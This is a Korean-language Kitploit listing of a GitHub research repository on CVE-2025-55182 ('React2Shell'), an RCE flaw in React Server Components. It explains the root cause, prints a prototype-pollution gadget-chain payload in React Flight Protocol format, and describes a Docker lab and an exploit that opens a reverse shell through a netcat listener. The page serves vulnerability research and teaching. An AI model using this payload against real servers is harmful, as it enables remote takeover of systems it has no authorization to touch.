Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
React2Shell — My research on CVE-2025-55182 | Kitploit
도구/GitHubGitHub/i3r1h0n/react2shell
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHubi3r1h0n/react2shell

React2Shell

My research on CVE-2025-55182

저장소 보기
19개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

React2Shell (CVE-2025-55182)

개요

이 저장소는 CVE-2025-55182 (React2Shell 취약점)에 대한 연구입니다. 저장소는 stand와 exploit 두 가지 주요 부분으로 구성됩니다.

참고 자료

이 보안 결함에 대한 정보:

  • NIST
  • HackerOne 기사
  • Vercel의 요약
  • WIZ의 기사
  • 저자 웹페이지
  • 원본 PoC

근본 원인

이 취약점은 기본적으로 사용자 입력 검증 부재입니다. 하지만 그렇게 간단하지는 않습니다 =)

React 클라이언트 부분과 React 서버 부분은 React Flight Protocol을 사용하여 데이터를 교환합니다. 빠르게 익숙해지기 위한 좋은 강연이 있습니다.

React Flight Protocol 메시지 청크 예시:

{
    "0": (None, '["$1"]'),
    "1": (None, '{"object":"fruit","name":"$2:fruitName"}'),
    "2": (None, '{"fruitName":"cherry"}'),
}

RFP 청크는 $ 연산자를 사용하여 서로 참조할 수 있습니다. 나중에 청크가 서버에서 역직렬화되면 이 링크가 해결됩니다. 여기서 중요한 점은 객체 프로토타입에 접근할 수 있다는 것입니다.

프로토타입을 조작하여 V8이 우리의 .then()을 기다리도록 강제할 수 있습니다. 결과 페이로드는 다음과 같을 수 있습니다:

{
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"return foo; ",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

이 가젯 체인이 실제로 어떻게 작동하는지 자세히 설명하지는 않겠습니다. 더 알고 싶다면 Moritz Sanft의 훌륭한 분석을 여기서 읽어보세요.

이 결함을 더 깊이 파고들고 싶다면 패치 전후의 github 버전 비교도 확인할 수 있습니다.

Stand

간단한 react/next.js 앱을 만들었습니다( stand/package.json 참조):

"dependencies": {
  "next": "16.0.6",
  "react": "19.2.0",
  "react-dom": "19.2.0"
},

create-next-app으로 만든 텍스트 콘텐츠가 있는 간단한 페이지입니다:

시작하려면 stand 디렉토리에서 다음을 실행하세요:

docker compose up --build -d

그런 다음 브라우저에서 http://localhost:3000으로 이동하세요.

Exploit

익스플로잇은 간단합니다. 특별히 구성된 RFP 청크를 페이로드와 함께 POST 요청으로 서버에 보내면 됩니다. exploit/src/main.py를 참조하세요. 또한 서버가 취약한지 여부를 확인하는 간단한 검사도 포함되어 있습니다. whoami 명령을 실행하려고 시도하며, 타임아웃이 초과되면 서버는 패치된 버전을 사용할 가능성이 높습니다.

RFP 페이로드는 exploit/resource/chunk.json에서 확인할 수 있습니다.

익스플로잇을 실행하기 전에 netcat 리스너를 설정하고 리버스 셸을 얻기 위해 exploit/resource/config.toml을 호스트와 포트로 업데이트하는 것을 잊지 마세요.

즐거운 pwning 되세요!

크레딧

취약점을 발견한 Lachlan Davidson, 좋은 가젯을 찾은 maple, PoC를 공유하고 훌륭한 분석을 작성한 Moritz Sanft에게 큰 존경을 표합니다.

I3r1h0n 제작.

도구 다운로드